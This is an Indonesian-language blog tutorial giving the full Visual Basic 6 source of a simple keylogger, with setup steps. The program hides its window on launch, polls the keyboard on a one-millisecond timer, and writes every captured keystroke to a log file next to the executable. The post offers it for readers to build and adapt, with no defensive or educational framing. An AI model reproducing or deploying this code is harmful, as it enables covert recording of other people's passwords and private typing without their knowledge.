Source Code Keylogger Sederhana dengan Visual Basic 6 [ NOT SUPPORT VB PORTABLE ]

Jumpa lagi lama udah gak Post karena ADMIN lagi sibuk hihi tapi tenang saya gak akan lupa blog ini ehh gw malah curhat skarang saya bahas di postingan ini adalah Keylogger kalo kalian gak ngerti sayang internet di sia sia in kalo gak tahu ya sudah gak banyak omong lagi mari kita mulai atau di bahas , di tutorial cara membuat keylogger dengan visual basic6.0(vb6) Ok.
Langsung aja ke topik, persiapkan bahan-bahan dulu. Nih

 

1. Visual Basic6.0(vb6) Di google jangan portable
2. Download source code di Sini

 Langkah - Langkah :

• Buat Sebuah Form Standart EXE
• Tambahkan Sebuah Timmer Dengan Interval = 1
• Dan Copy Sourcecode Keylogger di bawah ini ke form yg anda buat !

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



Private Type TList

    kode As Integer

    bawah As String

    atas As String

End Type



Private List(1 To 255) As TList

Private IndexList As Integer



Private Sub AddToTable(kode As Integer, atas As String, bawah As String)

    IndexList = IndexList + 1

    List(IndexList).kode = kode

    List(IndexList).atas = atas

    List(IndexList).bawah = bawah

End Sub



Private Sub Build_Table()

    Dim i As Integer

    For i = 65 To 90

        AddToTable i, Chr(i), Chr(i + 32)

    Next i

    AddToTable 48, ")", "0"

    AddToTable 49, "!", "1"

    AddToTable 50, "@", "2"

    AddToTable 51, "#", "3"

    AddToTable 52, "$", "4"

    AddToTable 53, "%", "5"

    AddToTable 54, "^", "6"

    AddToTable 55, "&", "7"

    AddToTable 56, "*", "8"

    AddToTable 57, "(", "9"

    AddToTable &H60, "", "0"

    AddToTable &H61, "", "1"

    AddToTable &H62, "", "2"

    AddToTable &H63, "", "3"

    AddToTable &H64, "", "4"

    AddToTable &H65, "", "5"

    AddToTable &H66, "", "6"

    AddToTable &H67, "", "7"

    AddToTable &H68, "", "8"

    AddToTable &H69, "", "9"

    AddToTable Asc(" "), " ", " "

  

End Sub



Private Sub Form_Load()

    Me.Visible = False

    Build_Table

End Sub



Private Sub AddToFile(Isi As String)

    Dim Data As String

    Dim FileHandler As Long

  

    If (Dir(App.Path & "\mylog.txt") <> "") Then

        FileHandler = FreeFile

        Open App.Path & "\mylog.txt" For Input As #FileHandler

            Data = Input(LOF(FileHandler) - 2, #FileHandler)

        Close #FileHandler

    End If

  

    FileHandler = FreeFile

    Open App.Path & "\mylog.txt" For Output As #FileHandler

        Print #FileHandler, Data & Isi

    Close #FileHandler

End Sub



Private Sub Timer1_Timer()

    Dim i As Integer

    Dim a, b As Integer

    For i = LBound(List) To UBound(List)

        a = GetAsyncKeyState(List(i).kode)

        b = GetAsyncKeyState(16)

        If (a = -32767) Then

            If (b = -32768) Then

                AddToFile List(i).atas

            Else

                AddToFile List(i).bawah

            End If

            Exit For

        End If

    Next

End Sub


Setelah itu anda edit sesuai selera anda 

Jika selesai jangan lupa baca Keterangan di Bawah  

Keterangan :
Maksud dari App.Path adalah hasil log akan disimpan dalam file "mylog.txt" yang berada satu directory dengan program, jadi dimana file .exe disimpan disitu file log tersimpan.
mylog.txt adalah nama file log, semua ketikan keybord akan masuk ke file mylog.txt